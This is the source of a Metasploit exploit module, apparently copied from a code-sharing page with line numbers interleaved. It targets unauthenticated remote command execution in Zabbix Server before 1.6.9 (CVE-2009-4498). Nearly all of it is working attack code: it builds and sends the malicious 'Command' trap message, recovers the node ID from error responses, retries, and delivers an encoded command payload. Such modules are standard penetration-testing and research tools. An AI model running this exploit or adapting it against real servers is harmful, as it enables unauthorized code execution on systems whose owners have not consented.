Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Zabbix Server Arbitrary Command Execution',
14
      'Description'    => %q{
15
          This module abuses the "Command" trap in Zabbix Server to execute arbitrary
16
        commands without authentication. By default the Node ID "0" is used, if it doesn't
17
        work, the Node ID is leaked from the error message and exploitation retried.
18

19
        According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
20
        has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
21
      },
22
      'Author'         =>
23
        [
24
          'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
25
          'juan vazquez' # Metasploit module
26
        ],
27
      'License'        => MSF_LICENSE,
28
      'References'     =>
29
        [
30
          [ 'CVE', '2009-4498' ],
31
          [ 'OSVDB', '60965' ],
32
          [ 'BID', '37989' ],
33
          [ 'EDB', '10432' ],
34
          [ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
35
        ],
36
      'Platform'       => ['unix'],
37
      'Arch'           => ARCH_CMD,
38
      'Privileged'     => false,
39
      'Payload'        =>
40
        {
41
          'DisableNops' => true,
42
          'Compat'      =>
43
            {
44
              'PayloadType' => 'cmd',
45
              'RequiredCmd' => 'generic telnet',
46
              # *_perl, *_python and *_ruby work if they are installed
47
            }
48
        },
49
      'Targets'        =>
50
        [
51
          [ 'Zabbix 1.6.7', { } ]
52
        ],
53
      'DefaultTarget' => 0,
54
      'DisclosureDate'  => 'Sep 10 2009'
55
    ))
56

57
    register_options(
58
      [
59
        Opt::RPORT(10051),
60
      ])
61
  end
62

63
  def send_command(sock, node_id, cmd)
64
    host_id = Rex::Text.rand_text_numeric(3)
65
    msg = "Command\255"
66
    msg << "#{node_id}\255"
67
    msg << "#{host_id}\255"
68
    msg << "#{cmd}\n"
69
    sock.put(msg)
70
    res = sock.get_once
71
    return res
72
  end
73

74
  def check
75
    peer = "#{rhost}:#{rport}"
76
    node_id = 0
77
    clue = Rex::Text.rand_text_alpha(rand(5)+5)
78
    cmd = "echo #{clue}"
79

80
    connect
81
    vprint_status("Sending 'Command' request...")
82
    res = send_command(sock, node_id, cmd)
83
    disconnect
84

85
    if res
86
      vprint_status(res)
87
      if res =~ /#{clue}/
88
        return Exploit::CheckCode::Vulnerable
89
      elsif res =~ /-1/ and res=~ /NODE (\d*)/
90
        node_id = $1
91
        vprint_good("Node ID #{node_id} discovered")
92
      else
93
        return Exploit::CheckCode::Safe
94
      end
95
    else # No response
96
      return Exploit::CheckCode::Safe
97
    end
98

99
    # Retry with the good node_id
100
    connect
101
    vprint_status("Sending 'Command' request with discovered Node ID...")
102
    res = send_command(sock, node_id, cmd)
103
    disconnect
104
    if res and res =~ /#{clue}/
105
      return Exploit::CheckCode::Vulnerable
106
    end
107
    return Exploit::CheckCode::Safe
108
  end
109

110
  def exploit
111
    peer = "#{rhost}:#{rport}"
112
    node_id = 0
113
    cmd = payload.encoded
114

115
    connect
116
    print_status("Sending 'Command' request...")
117
    res = send_command(sock, node_id, cmd)
118
    disconnect
119

120
    if res and res =~ /-1/ and res=~ /NODE (\d*)/
121
      # Retry with the good node_id
122
      node_id = $1
123
      print_good("Node ID #{node_id} discovered")
124
      connect
125
      print_status("Sending 'Command' request with discovered Node ID...")
126
      res = send_command(sock, node_id, cmd)
127
      disconnect
128
    end
129

130
    # Read command output from socket if cmd/unix/generic payload was used
131
    if (datastore['CMD'])
132
      if res and res =~ /\x30\xad/
133
        print_good("Command executed successfully")
134
        print_status("Output:\n#{res.split("\x30\xad").last}")
135
      else
136
        print_error("Failed to execute the command")
137
      end
138
    end
139

140
  end
141
end
142

143